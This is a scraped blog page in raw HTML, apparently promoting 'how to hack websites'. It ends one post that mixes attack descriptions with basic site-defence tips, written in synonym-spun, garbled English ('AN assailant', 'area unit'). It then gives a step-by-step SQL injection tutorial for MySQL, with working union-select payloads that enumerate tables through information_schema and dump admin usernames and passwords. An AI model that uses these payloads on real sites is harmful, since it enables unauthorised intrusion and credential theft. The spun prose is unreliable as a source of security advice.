pointer;" title="can|will">will</span> consume your entire quota, preventing you from receiving <span class="qtiperar" id="tip_49" style="cursor: pointer;" title="any more|any longer|from now on|any further|to any extent further">from now on</span> messages. Imagine you open your email account <span class="qtiperar" id="tip_50" style="cursor: pointer;" title="one day|at some point|in the future|someday|sooner or later|in some unspecified time in the future">someday</span> and you see thousands of spam messages.</span><br /><br /><strong style="background-color: white; border: 0px none; color: #222222; font-family: verdana, sans-serif; font-size: 13px; line-height: 22px; list-style: none; margin: 0px; outline: none; padding: 0px;"><span style="border: 0px none; font-size: 14pt; list-style: none; margin: 0px; outline: none; padding: 0px;"><span style="color: #3d85c6;">#6.</span><span style="color: #333333;"> Unencrypted Protocols</span></span></strong><br /><span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span> <span style="font-family: "arial" , "helvetica" , sans-serif;">Any protocol <span class="qtiperar" id="tip_51" style="cursor: pointer;" title="that is|that's">that's</span> unencrypted <span class="qtiperar" id="tip_52" style="cursor: pointer;" title="can|will">will</span> <span class="qtiperar" id="tip_53" style="cursor: pointer;" title="allow|permit|enable">enable</span> <span class="qtiperar" id="tip_54" style="cursor: pointer;" title="an|Associate in Nursing|AN|associate degree|associate">AN</span> <span class="qtiperar" id="tip_55" style="cursor: pointer;" title="attacker|aggressor|assailant|assaulter|wrongdoer|offender">assailant</span> to steal valuable <span class="qtiperar" id="tip_56" style="cursor: pointer;" title="information|info|data">info</span> from your users. Thus, it’s <span class="qtiperar" id="tip_57" style="cursor: pointer;" title="always|invariably|continuously|continually|forever|perpetually">continually</span> <span class="qtiperar" id="tip_58" style="cursor: pointer;" title="preferred|most popular|most well-liked">most well-liked</span> and <span class="qtiperar" id="tip_59" style="cursor: pointer;" title="recommended|counseled|suggested">suggested</span> to use <span class="qtiperar" id="tip_60" style="cursor: pointer;" title="the standard|the quality">the quality</span> security <span class="qtiperar" id="tip_61" style="cursor: pointer;" title="encryption|encoding|cryptography|coding|secret writing">encoding</span> technology known<span class="qtiperar" id="tip_62" style="cursor: pointer;" title="called|referred to as|known as"> as</span> “Secure Sockets Layer” or SSL <span class="qtiperar" id="tip_63" style="cursor: pointer;" title="for short|for brief">for the brief</span>, whenever there’s personal <span class="qtiperar" id="tip_64" style="cursor: pointer;" title="information|info|data">info</span> being changed between your <span class="qtiperar" id="tip_66" style="cursor: pointer;" title="website|web site">website</span> <span class="qtiperar" id="tip_67" style="cursor: pointer;" title="and the|and therefore the|and also the">and also the</span> <span class="qtiperar" id="tip_68" style="cursor: pointer;" title="database|information|info">information</span>.<br />SSL works by providing a secure channel between <span class="qtiperar" id="tip_69" style="cursor: pointer;" title="two|2">2</span> machines <span class="qtiperar" id="tip_70" style="cursor: pointer;" title="that is|that's">that's</span> <span class="qtiperar" id="tip_71" style="cursor: pointer;" title="operating|operational|in operation|operative">operative</span> over <span class="qtiperar" id="tip_72" style="cursor: pointer;" title="the internet|the web|the net">the net</span> or <span class="qtiperar" id="tip_73" style="cursor: pointer;" title="an internal|an indoor|an inside|an interior|an enclosed">an inside</span> network. This protocol <span class="qtiperar" id="tip_74" style="cursor: pointer;" title="is used|is employed">is employed</span> <span class="qtiperar" id="tip_75" style="cursor: pointer;" title="when|once">once</span> a browser <span class="qtiperar" id="tip_76" style="cursor: pointer;" title="needs to|must|has to">must</span> <span class="qtiperar" id="tip_77" style="cursor: pointer;" title="connect to|hook up with|connect with">connect with</span> <span class="qtiperar" id="tip_78" style="cursor: pointer;" title="a web|an internet|an online">an internet</span> server firmly<span class="qtiperar" id="tip_79" style="cursor: pointer;" title="securely|firmly"></span> over <span class="qtiperar" id="tip_80" style="cursor: pointer;" title="the internet|the web|the net">the net</span> <span class="qtiperar" id="tip_81" style="cursor: pointer;" title="without|while not">while not</span> the spying eyes of the hackers.</span><br /><span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span><span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span><br /><div style="background-color: white; border: 0px none; color: #222222; font-family: lato, serif; font-size: small; line-height: 22px; list-style: none; margin-bottom: 20px; outline: none; padding: 0px;"><strong style="border: 0px none; list-style: none; margin: 0px; outline: none; padding: 0px;"><span style="border: 0px none; list-style: none; margin: 0px; outline: none; padding: 0px;"><span style="font-family: "verdana" , sans-serif; font-size: large;"><span style="color: #3d85c6;">#How to</span><span style="color: #333333;"> protect your website</span></span></span></strong></div><span style="font-family: "arial" , "helvetica" , sans-serif;">If <span class="qtiperar" id="tip_82" style="cursor: pointer;" title="you are|you're">you're</span> <span class="qtiperar" id="tip_83" style="cursor: pointer;" title="using a|employing a">employing a</span> Content Management System (CMS) <span class="qtiperar" id="tip_84" style="cursor: pointer;" title="such as|like|like">like</span> Joomla or WordPress, then <span class="qtiperar" id="tip_85" style="cursor: pointer;" title="subscribe to|subscribe|take|buy|purchase">buy</span> their blogs, <span class="qtiperar" id="tip_86" style="cursor: pointer;" title="read|scan|browse">scan</span> their latest articles and <span class="qtiperar" id="tip_87" style="cursor: pointer;" title="always|invariably|continuously|continually|forever|perpetually">continually</span> keep your CMS up <span class="qtiperar" id="tip_88" style="cursor: pointer;" title="to date|so far|thus far|up to now|to this point">to this point</span>. Keep all of your third party plugins up <span class="qtiperar" id="tip_89" style="cursor: pointer;" title="to date|so far|thus far|up to now|to this point">to this point</span>. </span><span style="font-family: arial, helvetica, sans-serif;">Remember, any forms that </span><span class="qtiperar" id="tip_90" style="cursor: pointer; font-family: arial, helvetica, sans-serif;" title="enable|change|alter|modify">modify</span><span style="font-family: arial, helvetica, sans-serif;"> users to </span><span class="qtiperar" id="tip_91" style="cursor: pointer; font-family: arial, helvetica, sans-serif;" title="upload|transfer">transfer</span><span style="font-family: arial, helvetica, sans-serif;"> </span><span class="qtiperar" id="tip_92" style="cursor: pointer; font-family: arial, helvetica, sans-serif;" title="anything|something">something</span><span style="font-family: arial, helvetica, sans-serif;"> </span><span class="qtiperar" id="tip_93" style="cursor: pointer; font-family: arial, helvetica, sans-serif;" title="could be|might be|can be|may be|may well be">can be</span><span style="font-family: arial, helvetica, sans-serif;"> </span><span class="qtiperar" id="tip_94" style="cursor: pointer; font-family: arial, helvetica, sans-serif;" title="a potential|a possible">a possible</span><span style="font-family: arial, helvetica, sans-serif;"> threat. These threats </span><span class="qtiperar" id="tip_95" style="cursor: pointer; font-family: arial, helvetica, sans-serif;" title="will|can">can</span><span style="font-family: arial, helvetica, sans-serif;"> </span><span class="qtiperar" id="tip_96" style="cursor: pointer; font-family: arial, helvetica, sans-serif;" title="enable|change|alter|modify">modify</span><span style="font-family: arial, helvetica, sans-serif;"> </span><span class="qtiperar" id="tip_97" style="cursor: pointer; font-family: arial, helvetica, sans-serif;" title="an|Associate in Nursing|AN|associate degree|associate">AN</span><span style="font-family: arial, helvetica, sans-serif;"> </span><span class="qtiperar" id="tip_98" style="cursor: pointer; font-family: arial, helvetica, sans-serif;" title="attacker|aggressor|assailant|assaulter|wrongdoer|offender">assailant</span><span style="font-family: arial, helvetica, sans-serif;"> </span><span class="qtiperar" id="tip_99" style="cursor: pointer; font-family: arial, helvetica, sans-serif;" title="to have|to possess|to own">to own</span><span style="font-family: arial, helvetica, sans-serif;"> full access to your </span><span class="qtiperar" id="tip_100" style="cursor: pointer; font-family: arial, helvetica, sans-serif;" title="database|information|info">information</span><span style="font-family: arial, helvetica, sans-serif;">. </span><span class="qtiperar" id="tip_101" style="cursor: pointer; font-family: arial, helvetica, sans-serif;" title="so|thus|therefore">therefore,</span><span style="font-family: arial, helvetica, sans-serif;"> </span><span class="qtiperar" id="tip_102" style="cursor: pointer; font-family: arial, helvetica, sans-serif;" title="pay attention|concentrate|listen">listen</span><span style="font-family: arial, helvetica, sans-serif;"> to what your users </span><span class="qtiperar" id="tip_103" style="cursor: pointer; font-family: arial, helvetica, sans-serif;" title="are|ar|area unit|square measure">area unit</span><span style="font-family: arial, helvetica, sans-serif;"> uploading and scan these files before you approve it.</span><br /><span style="font-family: "arial" , "helvetica" , sans-serif;"></span><br /><br /><span style="font-family: "arial" , "helvetica" , sans-serif;"><br />Install security plugins for your CMS and keep them up <span class="qtiperar" id="tip_104" style="cursor: pointer;" title="to date|so far|thus far|up to now|to this point">to this point</span>. <span class="qtiperar" id="tip_105" style="cursor: pointer;" title="make sure|confirm|certify|ensure|make certain|check that">ensure</span> <span class="qtiperar" id="tip_106" style="cursor: pointer;" title="you know|you recognize">you recognize</span> the way to assemble<span class="qtiperar" id="tip_108" style="cursor: pointer;" title="configure|assemble|piece|put together|set up|tack|tack together"></span> it properly <span class="qtiperar" id="tip_109" style="cursor: pointer;" title="to maximize|to maximise">to maximize</span> its defense.If you <span class="qtiperar" id="tip_110" style="cursor: pointer;" title="built|designed|engineered">engineered</span> your own CMS/website that has <span class="qtiperar" id="tip_111" style="cursor: pointer;" title="an|Associate in Nursing|AN|associate degree|associate">AN</span> admin login <span class="qtiperar" id="tip_112" style="cursor: pointer;" title="form|type|kind">type</span>, then don’t use the default admin name, eg: <span class="qtiperar" id="tip_113" style="cursor: pointer;" title="instead of|rather than">rather than</span> “adminlogin.php”, why not <span class="qtiperar" id="tip_114" style="cursor: pointer;" title="call|decision">decision</span> it “something.php” etc.</span><br /><span style="font-family: "arial" , "helvetica" , sans-serif;"><br />Test your <span class="qtiperar" id="tip_115" style="cursor: pointer;" title="website|web site">website</span> for any vulnerability. Use the free trial of <span class="qtiperar" id="tip_116" style="cursor: pointer;" title="web|net|internet">net</span> Vulnerability Scanner <span class="qtiperar" id="tip_117" style="cursor: pointer;" title="to test|to check">to check</span> your website<span class="qtiperar" id="tip_118" style="cursor: pointer;" title="website|web site"></span>. Make sure <span class="qtiperar" id="tip_119" style="cursor: pointer;" title="you are|you're">you're</span> <span class="qtiperar" id="tip_120" style="cursor: pointer;" title="using|exploitation|victimization|victimisation|mistreatment">mistreatment</span> <span class="qtiperar" id="tip_121" style="cursor: pointer;" title="strong|robust|sturdy">sturdy</span> passwords and <span class="qtiperar" id="tip_122" style="cursor: pointer;" title="never|ne'er">newer</span> share them with anyone. Keep these passwords <span class="qtiperar" id="tip_123" style="cursor: pointer;" title="in a|during a|in an exceedingly|in a very">in an exceedingly</span> safe place. It’s <span class="qtiperar" id="tip_124" style="cursor: pointer;" title="advisable|advisable |better|best|judicious|sensible|recommended|suggested|well|wise">judicious</span> <span class="qtiperar" id="tip_125" style="cursor: pointer;" title="not to|to not">to not</span> store them on your <span class="qtiperar" id="tip_126" style="cursor: pointer;" title="computer|pc|laptop">PC</span> <span class="qtiperar" id="tip_127" style="cursor: pointer;" title="just|simply">simply</span> <span class="qtiperar" id="tip_128" style="cursor: pointer;" title="in case|just in case">just in case</span> your <span class="qtiperar" id="tip_129" style="cursor: pointer;" title="computer|pc|laptop">PC</span> gets hacked.</span><br /><span style="font-family: "arial" , "helvetica" , sans-serif;"><br />Thanks For Reading <span class="qtiperar" id="tip_130" style="cursor: pointer;" title="this article|this text">this text</span>. Hope You all like <span class="qtiperar" id="tip_131" style="cursor: pointer;" title="this article|this text">this text</span>.Don't forget <span class="qtiperar" id="tip_132" style="cursor: pointer;" title="to like|to love">to love</span> and share me </span><br /><span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span><span style="font-family: "arial" , "helvetica" , sans-serif;">this wonderful article thanks</span><br /><span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span><br /><div style="background-color: white; color: #333333; font-family: lato, serif; font-size: small;"><span style="font-family: "verdana" , sans-serif; font-size: 16px; line-height: 22px;">Keywords:-</span></div><span style="font-family: "arial" , "helvetica" , sans-serif;"></span><br /><div style="background-color: white; color: #333333; font-family: lato, serif; font-size: 16px; line-height: 25px;"><ul style="margin: 0px; padding: 0px 0px 25px;"><li style="background: url("https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhH5Z1BXXpqHacr_Tx3e2_DEq30aJw_yWMSnQaVpFFL7TU8DI8gwhPbZHRBb02EzuREavB6ehqVgJWx18v_KySvoJWTMlzVKKayOZDHbdyeMRK6cHpVZMp_xVAbwICT2yQYzxmVZkfb/s1600/list.png") 0% 0% no-repeat; list-style-type: none; margin: 0px 0px 5px 20px; padding: 0px 0px 0px 15px; word-wrap: break-word;"><span style="font-family: "verdana" , sans-serif;"><b>Easy Way To Hack Website [6 methods] LATEST 2016</b></span></li><li style="background: url("https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhH5Z1BXXpqHacr_Tx3e2_DEq30aJw_yWMSnQaVpFFL7TU8DI8gwhPbZHRBb02EzuREavB6ehqVgJWx18v_KySvoJWTMlzVKKayOZDHbdyeMRK6cHpVZMp_xVAbwICT2yQYzxmVZkfb/s1600/list.png") 0% 0% no-repeat; list-style-type: none; margin: 0px 0px 5px 20px; padding: 0px 0px 0px 15px; word-wrap: break-word;"><span style="font-family: "verdana" , sans-serif;"><b>Website Hacking</b></span></li><li style="background: url("https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhH5Z1BXXpqHacr_Tx3e2_DEq30aJw_yWMSnQaVpFFL7TU8DI8gwhPbZHRBb02EzuREavB6ehqVgJWx18v_KySvoJWTMlzVKKayOZDHbdyeMRK6cHpVZMp_xVAbwICT2yQYzxmVZkfb/s1600/list.png") 0% 0% no-repeat; list-style-type: none; margin: 0px 0px 5px 20px; padding: 0px 0px 0px 15px; word-wrap: break-word;"><span style="font-family: "verdana" , sans-serif;"><b>How to hack website </b></span></li><li style="background: url("https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhH5Z1BXXpqHacr_Tx3e2_DEq30aJw_yWMSnQaVpFFL7TU8DI8gwhPbZHRBb02EzuREavB6ehqVgJWx18v_KySvoJWTMlzVKKayOZDHbdyeMRK6cHpVZMp_xVAbwICT2yQYzxmVZkfb/s1600/list.png") 0% 0% no-repeat; list-style-type: none; margin: 0px 0px 5px 20px; padding: 0px 0px 0px 15px; word-wrap: break-word;"><span style="border: 0px none; list-style: none; margin: 0px; outline: none; padding: 0px;"><span style="font-family: "verdana" , sans-serif;"><b>website hacking</b></span></span></li><li style="background: url("https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhH5Z1BXXpqHacr_Tx3e2_DEq30aJw_yWMSnQaVpFFL7TU8DI8gwhPbZHRBb02EzuREavB6ehqVgJWx18v_KySvoJWTMlzVKKayOZDHbdyeMRK6cHpVZMp_xVAbwICT2yQYzxmVZkfb/s1600/list.png") 0% 0% no-repeat; list-style-type: none; margin: 0px 0px 5px 20px; padding: 0px 0px 0px 15px; word-wrap: break-word;"><span style="border: 0px none; list-style: none; margin: 0px; outline: none; padding: 0px;"><span style="font-family: "verdana" , sans-serif;"><b>vulnerable websites hacking with havij</b></span></span></li><li style="background: url("https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhH5Z1BXXpqHacr_Tx3e2_DEq30aJw_yWMSnQaVpFFL7TU8DI8gwhPbZHRBb02EzuREavB6ehqVgJWx18v_KySvoJWTMlzVKKayOZDHbdyeMRK6cHpVZMp_xVAbwICT2yQYzxmVZkfb/s1600/list.png") 0% 0% no-repeat; list-style-type: none; margin: 0px 0px 5px 20px; padding: 0px 0px 0px 15px; word-wrap: break-word;"><span style="border: 0px none; list-style: none; margin: 0px; outline: none; padding: 0px;"><span style="font-family: "verdana" , sans-serif;"><b>how to hack websites easy way in  2016.</b></span></span></li><li style="background: url("https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhH5Z1BXXpqHacr_Tx3e2_DEq30aJw_yWMSnQaVpFFL7TU8DI8gwhPbZHRBb02EzuREavB6ehqVgJWx18v_KySvoJWTMlzVKKayOZDHbdyeMRK6cHpVZMp_xVAbwICT2yQYzxmVZkfb/s1600/list.png") 0% 0% no-repeat; list-style-type: none; margin: 0px 0px 5px 20px; padding: 0px 0px 0px 15px; word-wrap: break-word;"><span style="border: 0px none; list-style: none; margin: 0px; outline: none; padding: 0px;"><span style="font-family: "verdana" , sans-serif;"><b>website hacking Tips And Tricks Free 2016</b></span></span></li></ul></div>

As per as  I do know   regarding  hackers mind  owing to  my  moral   expertise .  these days  progressing  to  share with you all  regardin...

View Post

Learn How To Hack Websites With Different Techniques

<span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="background-color: white; font-size: small;"><b>SQL Injection in MySQL Databases</b>:-</span><br style="background-color: white;" /><br style="background-color: white;" /><span style="background-color: white;">SQL Injection attacks are code injections that exploit the database layer of the application. This is most commonly the MySQL database, but there are techniques to carry out this attack in other databases such as Oracle. In this tutorial, i will be showing you the steps to carry out the attack on a MySQL Database.</span></span><br /><span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span><br /><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDdvNJwds1TRLk94I829nPn6ReV8v0FY-H5P7_prKJw2JLee-fkQIV9eFj0DNe5_3igb6FCEc6sbOmQ1B5PZxtOyNDxNeBZTLddyY8X8S8vyLdw2Uvkq1FAlB63elYUIciKJPSo0-mKGPW/s1600/sql_injection.gif" style="margin-left: auto; margin-right: auto;"><img alt="Learn How To Hack Websites With Different Techniques" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDdvNJwds1TRLk94I829nPn6ReV8v0FY-H5P7_prKJw2JLee-fkQIV9eFj0DNe5_3igb6FCEc6sbOmQ1B5PZxtOyNDxNeBZTLddyY8X8S8vyLdw2Uvkq1FAlB63elYUIciKJPSo0-mKGPW/s1600/sql_injection.gif" title="Learn How To Hack Websites With Different Techniques" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Learn How To Hack Websites With Different Techniques</td></tr></tbody></table><span style="font-family: "arial" , "helvetica" , sans-serif;"><br style="background-color: white;" /><b style="background-color: white;"><br />Step 1:</b><br style="background-color: white;" /><span style="background-color: white;">When testing a website for SQL Injection vulnerabilities, you need to find a page that looks like this:</span><br style="background-color: white;" /><span style="background-color: white;">www.site.com/page=1</span><br style="background-color: white;" /><br style="background-color: white;" /><span style="background-color: white;">or</span><br style="background-color: white;" /><span style="background-color: white;">www.site.com/id=5</span><br style="background-color: white;" /><br style="background-color: white;" /><span style="background-color: white;">Basically, the site needs to have an = then a number or a string, but most commonly a number. Once you have found a page like this, we test for vulnerability by simply entering an ' after the number in the URL. For example:</span><br style="background-color: white;" /><br style="background-color: white;" /><span style="background-color: white;">www.site.com/page=1'</span><br style="background-color: white;" /><br style="background-color: white;" /><span style="background-color: white;">If the database is vulnerable, the page will spit out a MySQL error such as;</span><br style="background-color: white;" /><br style="background-color: white;" /><span style="background-color: white;">Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/wwwprof/public_html/readnews.php on line 29</span><br style="background-color: white;" /><br style="background-color: white;" /><span style="background-color: white;">If the page loads as normal then the database is not vulnerable, and the website is not vulnerable to SQL Injection.</span><br style="background-color: white;" /><b style="background-color: white;"><br />Step 2</b><br style="background-color: white;" /><br style="background-color: white;" /><span style="background-color: white;">Now we need to find the number of union columns in the database. We do this using the "order by" command. We do this by entering "order by 1--", "order by 2--" and so on until we receive a page error. For example:</span><br style="background-color: white;" /><br style="background-color: white;" /><span style="background-color: white;">www.site.com/page=1 order by 1--</span><br style="background-color: white;" /><span style="background-color: white;">http://www.site.com/page=1 order by 2--</span><br style="background-color: white;" /><span style="background-color: white;">http://www.site.com/page=1 order by 3--</span><br style="background-color: white;" /><span style="background-color: white;">http://www.site.com/page=1 order by 4--</span><br style="background-color: white;" /><span style="background-color: white;">http://www.site.com/page=1 order by 5--</span><br style="background-color: white;" /><br style="background-color: white;" /><span style="background-color: white;">If we receive another MySQL error here, then that means we have 4 columns. If the site errored on "order by 9" then we would have 8 columns. If this does not work, instead of -- after the number, change it with /*, as they are two difference prefixes and if one works the other tends not too. It just depends on the way the database is configured as to which prefix is used.</span><br style="background-color: white;" /><b style="background-color: white;"><br />Step 3</b><br style="background-color: white;" /><br style="background-color: white;" /><span style="background-color: white;">We now are going to use the "union" command to find the vulnerable columns. So we enter after the URL, union all select (number of columns)--,</span><br style="background-color: white;" /><span style="background-color: white;">for example:</span><br style="background-color: white;" /><span style="background-color: white;">www.site.com/page=1 union all select 1,2,3,4--</span><br style="background-color: white;" /><br style="background-color: white;" /><span style="background-color: white;">This is what we would enter if we have 4 columns. If you have 7 columns you would put, union all select 1,2,3,4,5,6,7-- If this is done successfully the page should show a couple of numbers somewhere on the page. For example, 2 and 3. This means columns 2 and 3 are vulnerable.</span><b style="background-color: white;"><br /><br /><br />Step 4</b><br style="background-color: white;" /><br style="background-color: white;" /><span style="background-color: white;">We now need to find the database version, name, and user. We do this by replacing the vulnerable column numbers with the following commands:</span><br style="background-color: white;" /><span style="background-color: white;">user()</span><br style="background-color: white;" /><span style="background-color: white;">database()</span><br style="background-color: white;" /><span style="background-color: white;">version()</span><br style="background-color: white;" /><span style="background-color: white;">or if these don't work try...</span><br style="background-color: white;" /><span style="background-color: white;">@@user</span><br style="background-color: white;" /><span style="background-color: white;">@@version</span><br style="background-color: white;" /><span style="background-color: white;">@@database</span><br style="background-color: white;" /><br style="background-color: white;" /><span style="background-color: white;">For example the url would look like:</span><br style="background-color: white;" /><span style="background-color: white;">www.site.com/page=1 union all select 1,user(),version(),4--</span><br style="background-color: white;" /><br style="background-color: white;" /><span style="background-color: white;">The resulting page would then show the database user and then the MySQL version. For example admin@localhost and MySQL 5.0.83.</span><br style="background-color: white;" /><span style="background-color: white;">IMPORTANT: If the version is 5 and above read on to carry out the attack, if it is 4 and below, you have to brute force or guess the table and column names, programs can be used to do this.</span><br style="background-color: white;" /><b style="background-color: white;"><br />Step 5</b><br style="background-color: white;" /><br style="background-color: white;" /><span style="background-color: white;">In this step, our aim is to list all the table names in the database. To do this we enter the following command after the URL.</span><br style="background-color: white;" /><span style="background-color: white;">UNION SELECT 1,table_name,3,4 FROM information_schema.tables--</span><br style="background-color: white;" /><span style="background-color: white;">So the url would look like:</span><br style="background-color: white;" /><span style="background-color: white;">www.site.com/page=1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables--</span><br style="background-color: white;" /><br style="background-color: white;" /><span style="background-color: white;">Remember the "table_name" goes in the vulnerable column number you found earlier. If this command is entered correctly, the page should show all the tables in the database, so look for tables that may contain useful information such as passwords, so look for admin tables or member or user tables.</span><br style="background-color: white;" /><b style="background-color: white;"><br />Step 6</b><br style="background-color: white;" /><span style="background-color: white;">In this Step we want to list all the column names in the database, to do this we use the following command:</span><br style="background-color: white;" /><br style="background-color: white;" /><span style="background-color: white;">union all select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database()--</span><br style="background-color: white;" /><span style="background-color: white;">So the URL would look like this:</span><br style="background-color: white;" /><span style="background-color: white;">www.site.com/page=1 union all select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database()--</span><br style="background-color: white;" /><span style="background-color: white;">This command makes the page spit out ALL the column names in the database. So again, look for interesting names such as user, email, and password.</span><br style="background-color: white;" /><b style="background-color: white;"><br />Step 7</b><br style="background-color: white;" /><br style="background-color: white;" /><span style="background-color: white;">Finally, we need to dump the data, so say we want to get the "username" and "password" fields, from table "admin" we would use the following command,</span><br style="background-color: white;" /><span style="background-color: white;">union all select 1,2,group_concat(username,0x3a,password),4 from admin--</span><br style="background-color: white;" /><span style="background-color: white;">So the URL would look like this:</span><br style="background-color: white;" /><span style="background-color: white;">www.site.com/page=1 union all select 1,2,group_concat(username,0x3a,password),4 from admin--</span><br style="background-color: white;" /><br style="background-color: white;" /><span style="background-color: white;">Here the "concat" command matches up the username with the password so you don't have to guess, if this command is successful then you should be presented with a page full of usernames and passwords from the website</span></span>

SQL Injection in MySQL Databases :- SQL Injection attacks are code injections that exploit the database layer of the application. This is mo...

View Post